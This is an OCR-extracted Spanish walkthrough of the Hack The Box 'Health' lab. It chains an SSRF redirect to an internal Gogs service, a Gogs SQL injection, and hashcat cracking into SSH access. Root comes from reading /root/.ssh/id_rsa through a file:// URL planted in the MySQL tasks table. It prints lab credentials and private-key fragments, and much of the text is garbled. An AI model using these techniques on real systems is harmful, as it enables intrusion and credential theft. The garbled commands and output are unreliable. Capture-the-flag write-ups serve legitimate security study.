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1. Enumeracion

Realizamos un PING a la mdaquina victima para comprobar su TTL. A partir del valor
devuelto, nos podemos hacer una idea del sistema operativo que tiene. En este caso
podemos deducir que se trata de una maquina Linux.

/home/kali/HTB/health
1 1 18.18.11.176
PING 10.18.11.176 (18.18.11.176) 5

—— 181182110176 ping
1 packets transmitted, receive packet loss, time @ms
rtt min/a ax/mdev 46.571/46.571/46.571/0.000 ms

Realizamos un escaneo exhaustivo de los puertos abiertos, con sus correspondientes
servicios y versiones asociados.

23 as: nmap -sCV -p 22,80 -v -n -oN targeted 10.10.11.1

u 4ubuntu®.7 (Ubuntu Linux; protocol 2.@)

usr/bin e/nmap
rmed. rt any incorrect results at https
5 - P address (1 host up) scanned in 9.72 seconds

Consultamos el “launchpad” para intentar descubrir a que version de Ubuntu nos

estamos enfrentando. A raiz del resultado, podemos intuir que estamos ante una versién
Bionic.
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openssh 1:7.6p1-4ubuntu0.7 source package in Ubuntu

Changelog

openssh (1:7.6pl-4ubuntu@.7) bionic; urgency=medium

* d/pffix-connect-timeout-overflow.patch: prevent ConnectTimeout overflow.
(LP: #1983516)

[ Sergic Durigan Junior ]

* d/pf1lpl966591-upstream-preserve-group-world-read-permission-on-kno.patch:

Preserve group/world read permissions on known_hosts. (LP: #1966591)

-- Athos Ribeiro <email address hidden> Wed, 3@ Mar 2822 19:17:14 -8380

Upload details

Uploaded by: Sponsored by:

& Athos Ribeiro on 2022-04-02 & sergio Durigan Junior
Uploaded ko: Original maintainer:
Bionic a Ubuntu Developers

Revisamos las tecnologias usadas por la web que corre por el puerto TCP/80.

Vemos un correo electrénico (“contact@health.htb”). Vamos a meter ese dominio en

nuestro /etc/hosts.

GNU nano 7.1 /etc/hosts

127.0.0.1 localhost

127.0.1.1 kali

10.10.11.176 health.htb

¢Qué es Laravel?
Laravel es un framework de cddigo abierto para desarrollar aplicaciones y servicios
web con PHP 5, PHP 7 y PHP 8. Su filosofia es desarrollar cddigo PHP de forma
elegante y simple, evitando el "cédigo espagueti". Fue creado en 2011 y tiene una
gran influencia de frameworks como Ruby on Rails, Sinatra y ASP.NET MVC.

Si realizamos una enumeracién de directorios basica con nmap sobre la web,
encontramos un fichero robots.txt. Aunque no tiene mucha informacioén relevante.

-@1-15 10:27 CET

t: Robots file

Nmap done: 1 IP address (1 host up) scanned in 179.30 seconds
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O & 10.10.11.176

Kali Linux #8 KaliTools = KaliDocs W Kali Forums & Kali NetHunte

2. Analisis de vulnerabilidades

Si abrimos la pagina web en nuestro navegador, vemos que nos hablan de Webhook.

s WKa & Kali NetHunter = Exploit-DB = Google Hacking DB | Offsec {8 Installation Cannot Co.

health.htb

Simple health checks for any URL

éQué es Webhook?
Un webhook, en desarrollo web, es un método de alteracion del funcionamiento de
una pagina o aplicacién web con callbacks personalizados. Estos se pueden
mantener, modificar y gestionar por terceros: desarrolladores que no tienen por qué
estar afiliados a la web o aplicacién

Para realizar una prueba y ver cémo funciona la aplicacién, vamos a crearnos un fichero
index.html con el texto “Esto es una prueba”. Nos creamos un servidor web y nos
ponemos en escucha con NC por el puerto 4343. Realizamos la consulta sobre la web y
vemos los resultados.

https://dandyloco.github.io/ 4 ©Dandy_loco



https://dandyloco.github.io/

Payload URL:

http://10.10.14.15:4343

Monitored URL:
http:/10.10.14.15

Interval:

Under what circumstances should the webhook be sent?

Always ~

Con esto, nos viene a la cabeza un posible atague SSRF donde podamos atacar a puertos
gue no estan expuestos. Vamos a volver a lanzar un NMAP pero esta vez, consultando
posibles puertos filtrados. Conseguimos un puerto, que antes no veiamos, el TCP/3000.

/home/kali/HTB/health

map.org )

» total ports)

Sin embargo, la web debe tener algun tipo de control o “black wordlist” que nos impide
poner la ip localhost de la mdquina victima en sus diferentes formas (localhost, 127.0.0.1,
hexadecimal, decimal, etc.).
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Nos vamos a crear un web, que haga una redireccion a http://127.0.0.1:3000.

Archivo Acciones Editar Vista Ayuda

GNU nano

"Location: http:

Nos ponemos en escucha con NC en el puerto TCP/4343 y en el puerto TCP/80 con un
servidor de PHP. Realizamos la siguiente peticion.

Configure Webhook

Payload URL:

http://10.10.14.39:4343

Monitored URL:

http://10.10.14.39

Interval:

*hEwE

Under what circumstances should the webhook be sent?

Always v

/home/kali/HTB/health/content

(et B iaLL)- I/ hamanai]

"wbhocktirl”:"Nttp\/\/10 i omitoredr Lo htipi\/ /10 “up", "body":"<{DOCTYPE html "\ ontents\"text\/htal; charset=UTF-8\" \/>\
Conp. TEsodge\"\ S\n <net: “author\" contont=\"Gogs - Go Git Service\” \/>\n\t\t<meta names\"description\" content=\"Gogs(Go Git screion) » peisless salfchested eit Service
itten in Go\* \h\n\-\uma — oyrerds\® contaute\"go git, self-hested, ot oA\ temeta name-\"_csrf\* content=\" _22vg \"shortcut icon\" hrefs
/ing re \/ 20 ene\/ i 2 ipt sres\ \/\/ud- Jouery-con/javery: 1.1, Lmin. jo\><Vscripto\nvienl
" hrefe\"\/ng\/ i.css\" = hrefs\" ink rels\"sty ;Y css\" y hrefe\" \/n[\l(ﬂ\/n.n
c-popup.cas\ o\m\tNtlink rele\ sty href=\"\/ng re i i ¢ rigt seor /rgVInUBALD, )i\')(\/l(npu\n \tescript sre
)i\/llh\/)qmry tipsy.js\">e\/script>\n  \tescript sree\"\/ng\/3s\/1ib\/jquery.magnific-popup.min. 3s\">\/scriptoin <ser; An ript srce\"\/ng\/js\/utils\/preview. S
Is\">¢ Go Git

-rc-\ vnl\n-\/unn\/nm o\escu/se

\"wrapper\” “aable davascript in your browser|<\/acecripto\R\ncheséar 1du\"
wader-nav\*>\n \\n \n A1 Uasse\"FAMEV" 1o\ header-navei M\p\')\n <a_targot=\"_blank\" href=\"http:\/\/gogs

p<\/ax\n i <U classa\" xigm\' id=\"header-nav-explore\">\n href=\"\/explore\">ci class=\"octicon octicon-globe\"><\/i>6n

A0 <\/ul>\n<\/header>\n<div id=\"promo-wrapper\">\n  <div class=\"container clear\">\n <div ide\"proso-logen” €lasse\"LeFEN IR <ing sr\"\/ing\/

Obtenemos un codigo de una web. Lo guardamos en nuestra maquina de atacante y
vemos de qué se trata.

/home/kali/HTB/health/content
data .body -r
DOCTYPE html>

L; charset=UTF-

"Gogs - Go Git !
iption” content= ( ) inle Git Service written in Go"
ords" content

content
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http://127.0.0.1:3000.%20

<« C @ O O 127001

KaliLinux # Kali Tools « KaliDocs N Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB t

« _Help
« _Explore
logo

Gogs

A painless self-hosted Git service written in Go

‘U:e- ame or E-mail H:\Zif':“i HS'\gnInHRegister|

Easy to install

Simply run the binary for your platform. Or ship Gogs with Docker or Vagrant, or get it packaged.

¢Qué es Gogses?
Gogses un servicio de Gitlibre y de cddigo abierto escrito en el lenguaje Go. Este
servicio permite crear y ejecutar un servidor Git con un hardware de bajos recursos.
Provee una interfaz web similar a GitHub, y ofrece soporte para bases de datos
MySQL, PostgreSQLy SQLite.

Vemos que esta corriendo la version 0.5.5.1010. Vamos a ver si existen vulnerabilidades.

/home /kali/HTB/health/cantent

3. Explotacidén

Para trabajar mas comodamente, nos vamos a montar el entorno en nuestra maquina de
atacante. Una vez construido el vector de ataque, lo ejecutaremos en la maquina victima.

Nos descargamos y descomprimismos el fichero “linux_amd64.zip”.
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web
2023/01/21 09:26:06 [W] No custom 'conf/app.ini' found, please go to '/insta

2 ogs: Go Git Service 0.5.5.1010 Beta
2023/01/21 @ 6 g Mode: Console(Trace)

2023/01/21 0 L Enabled

2023/01/21 @ 6 . che Enabled

2023/01/21 @ [ C rvice Enabled

2023/01/21 @ 6 [ g Service Enabled

2023/01/21 @ SQ abled

2023/01/21 @ 6 Development

2023/01/21 09:26:06 Listen: http://0.0.0.0:3000

Vamos a meter una contrasefia que venga en el rockyou. En nuestro caso usaremos
“metallica”. Probamos el cédigo que viene en el exploit “Gogs - 'users'/'repos' '?q' SQL
Injection” y vemos que se acontece.

&« CcC o D localhost:

KaliTools # KaliDocs M Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB Offsec @ Installation Cannot Co..

Para entender mas profundamente qué esta ocurriendo nos abrimos burpsuite vy
simplificamos la injeccion. Vamos a explotar “users” que nos parece mas interesante que
“repos”.
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Intentamos forzar el ordenamiento por una consulta que no exista, y vemos que da un
error.

Request Response

Cambiamos la forma de representar los espacios, usando “/**/”. El propio resultado
nos avisa de que el nUmero maximo de consultas es 27.

Response

8,9,10,11,12,13,14,15,16,17,18. 1.

Vemos que no nos da error, pero tampoco nos saca los usuarios. Cambiamos la consulta
para que contemple un “UNION SELECT ALL”. Esto hace que represente todos los
resultados, aunque estén duplicados.

Request Response

1la
8,9,10,11,12.15.14,15,16,17,18.19, 20,21, 22, 23, 24, 25, 2
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Ahora ya vemos los usuarios. Adicionalmente, vemos que nos representa un “3”. Por lo
gue ya tenemos una columna con la que operar para obtener la informacion de la base
de datos.

Vemos que la BBDD de la aplicacidén se guarda en el fichero data/gogs.db. Con una
aplicacion que nos permite explorar la BBDD (https://sqlitebrowser.org/dl/) vemos la

estructura de la tabla users.

user CREATE TABLE “user” ("id” INTE

[ INTEGER *ig" INTEGER NOT NULL

(2] lower_name TEXT "lower_name" TEXT NOT NULL
[Z) name TEXT "name"” TEXT NOT NULL

) full_name TEXT "full_name" TEXT

2] email TEXT "email" TEXT NOT NULL

) passwd TEXT "passwd” TEXT NOT NULL

[ Togin_type INTEGER "login_type" INTEGER

=) login_source INTEGER "login_source" INTEGER NOT NULI
[Z] login_name TEXT "login_name" TEXT

=] type INTEGER “type" INTEGER

[=) num_followers INTEGER “num_followers" INTEGER

[=) num_followings INTEGER "num_followings" INTEGER

[2) num_stars INTEGER "num_stars" INTEGER

[2) num_repos INTEGER "num_repos" INTEGER

[2) avatar TEXT “avatar" TEXT NOT NULL

() avatar_email TEXT *avatar_email" TEXT NOT NULL
[ lacation TEXT "location” TEXT

[Z) website TEXT "website" TEXT

(=) is_active INTEGER *is_active" INTEGER

(=) is_admin INTEGER *is_admin" INTEGER

[Z] rands TEXT "rands” TEXT

[ salt TEXT "salt" TEXT

[Srcreated NUMERIC "created” NUMERIC

=) updated HUMERIC *updated"” NUMERIC

[= description TEXT "description" TEXT

[2) num_teams INTEGER "num_teams" INTEGER

[2) num_members INTEGER *num_members" INTEGER

Vamos a realizar la consulta, extrayendo el campo email, passwd, salt.

Revisamos el cddigo de la aplicacion de la version que estamos explotando.

OB github.com

s M Kali Forums X Kali NetHunter Ex -DB Google Hacking DB OffSec B Installation Cannot Co...
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https://sqlitebrowser.org/dl/

Lo que vemos aqui, es que se usa un algoritmo pbkdf, con 10000 interacciones. Si
realizamos una busqueda por hashcat, vemos el formato de hash que debemos poner.
OJO!! Hay que ajustar el niUmero de iteraciones (para nosotros debe ser 10000 y no 1000)

/home/../HTB/health/content/gogs
X shes i pbkdf
: WPA-EAPOL- 2

mac0S v10.8+ ( 2-SHA512)

grub. 2.5ha512.1024.03510507805003756325721 ... 2425b [Truncated, use ——mach for

Cisco-I0S $8% ( 2-SHA256)

Django ( 2-SHA256)
2_sha256$10000$1135411628$bFYX62rfJobJ07VwrUMXfuffLfj2RDM2G6/BrTrUWKE=
2-HMAC-SHA256

/home/../HTB/health/content/gogs
e~ -i ": PBKDF2

2 1 : PE 2-HMAC-SHA256" -C 1@

Example.Hash : 48e61d68e93027fae35d405ed16cd01b6flae66267833b4a7aal759e45bab9bbab52da2e4c@7c155a3d8cf1d81f3a7e8
Example.Pass .: hashcat

Benchmark.Mask... : ?b?b?b?b?b?b?b

Autodetect.Enable Yes

Self.Test.Enabled Yes

Potfile.Enabled.....: Yes

Custom.Plugin : No

Plaintext.Encoding..: ASCII, HEX

Hash mode #10900

Category .: Generic KDF

Slow.Hash

Password.Len.Min. 0

Password.Len.Max 256
Embedded

Salt.
Kernel.Type(s
Example.Hash.F
Example.Hash

/home/kali/HTB/health/content
. 539e63d664a7ab8178acab794e9ed45e7e78a57c84145aeed4984a40230a11
tjnmPWZKergXispnlOntRefnilfIQUWu7UmEpAIwoRQDCOKbCHbHYJdqEI20/CMQCQs=
/home/kali/HTB/health/content
70L4mnuDKv

NzBMNG1udURLdg—=

Archivo Acciones Editar Vista Ayuda

NzBMNGludURLdg=:t jnmPWZKergXispnlOntRefnilfIQUWu7UmEpAIwoRQDCOKbCHbHYJdgEI20/

Ejecutamos “hashcat -m 10900 -a O hash /usr/share/wordlists/rockyou.txt” 'y
conseguimos obtener la contraseia que anteriormente habiamos configurado.
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Dictionary
Eil € r jordlists/rockyou.txt

Passw

)s=:metallica

Vamos a llevar este ataque a la maquina victima. Modificamos nuestro fichero index.php
con la inyeccion en la URL. Obtenemos unas credenciales.

/home//HTB/health/content/gogs

/HTB/he,

https://dandyloco.github.io/ 12 ©Dandy_loco
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d@USuPDKLOWKNYHAS+Lm@7 ogDWwD

Intentamos conectarnos con el usuario admin, y la clave obtenida pero no funciona.
Antes habiamos visto que existia otro usuario “sussane”. Con este ganamos acceso a la
magquina.

/home/kali/HTB/health/content
susannel0.10.11.176
susannepl0.10.11.176"'s password:
Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 4.15.0-191-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

System information as of Sat Jan 21 ©9:17:37 UTC 2023
System load: 0.19 Processes: 174
Usage of /: 66.3% of 3.84GB Users logged in: (4]

Memory usage: 11% IP address for eth@: 10.10.11.176
Swap usage: 0%

@ updates can be applied immediately.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Sat Jan 21 09:17:19 2023 from 10.10.14.28
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4. Escalada de privilegios

Tras hacer un reconocimiento inicial en busca de permisos de sudoers, binarios con
permisos SUIDs, capabilities, etc. no vemos nada interesante. Inspeccionamos los puertos
abiertos locales y vemos que estd corriendo MySQL.

t -putona
uld b
ou would h,

ram name

ESTABLISHED

Revisamos el contenido del directorio “/var/www/html/”. Abrimos el fichero “.env” y
vemos unas credenciales de MySQL.

AILIIVU  ALUIVIIES CUlldl  ViSld  Ayuud

GNU nano 2.9.3

Usuario: lavarel
Clave: MYsql_strongestpass@2014+

susanneghealth: $ mysql -p -u laravel

Enter password:

Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 277

Server version: 5.7.39-@ubuntu@.18.04.2 (Ubuntu)

Copyright (c) 2000, 2022, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show databases
= F

H
+
Database |
+
|

information_schema

+

+
|
+
|
| laravel
+
2

rows in set (0.00 sec)

mysql> i
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Revisamos las tablas de |la BBDD de laravel, pero estan vacias. Con PsPy, revisamos los

procesos que estan corriendo en el sistema. Vemos que se esta ejecutando un fichero
php llamado “artisan”.

Este fichero no lo podemos modificar, pero si revisamos el cédigo de la aplicacién, nos

llama la atencién el fichero /var/www/html/app/Console/Kernel.php. Vemos como el
sistema obtiene las tareas de la base de datos.

Archivo Acciones Editar Vista Ayuda
GNU nano 2.9.3 ./app/Console/Kernel.ph

<?php
App\Console;
App\Http\Controllers\HealthChecker;
App\Models\Task;
Illuminate\Console\Scheduling\Schedule;
Illuminate\Foundation\Console\Kernel ConsoleKernel;

Illuminate\Support\Facades\Log;

Kernel ConsoleKernel

schedule(Schedule

= Task::all();
( ) {
= —frequency;

—call( (@) (31 ) {

HealthChecker :: check( —webhookUrl, —monitoredurl, —onlyError);
Log:: info( —id . * . \Carbon\Carbon:: now());
})—cron( )3

}
}

Vamos a solicitar sobre la web http://10.10.11.176 la creacién de una tarea.
Anteriormente, habiamos visto una tabla en la base de datos “laravel” de MySQL llamada
“tasks”. Vamos a modificar en la entrada de base de datos, la URL a monitorizar, usando
el wrapper file para intentar obtener la id_rsa de root.
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mysql> upda % m ///root/.ssh/id_rsa’ wh
Query 0K, 1 (
Rows matched:

mysql

+ -
|

+ -

| a6 - - root/.ssh/id_

—
1

\nMITEOWIB) ) ! 30LfuVNIMamO\ /G5
h lbro7H7Iwl

j 3 { Zou\

HPiuPY 3 IRDh4vAFOBGB\/ 7 00zT\nrtislc 6UEKEELTTNGB

SurgFTgjel zF8Ap GBI 76 \ cn cp R
KKsD < K 3 v L d v il 6 a MpmE

nu

/home/kali/HTB/health/content
data.txt . body
PRIVATE KE

EoiBGmEerr1BNKDBHNvd
Nbro7H7IwIkTvh b!
AhfnHTO+ppI
1kx

GrNjvTDEY94Bel
GTHj

Nos conectamos por SSH con dicha clave y ganamos acceso como root a la maquina
victima.

stem information as
.11.176

0 updates can be applied immediat

Failed to connect to htt, cha : e : connection or proxy

ot
rootahealth:
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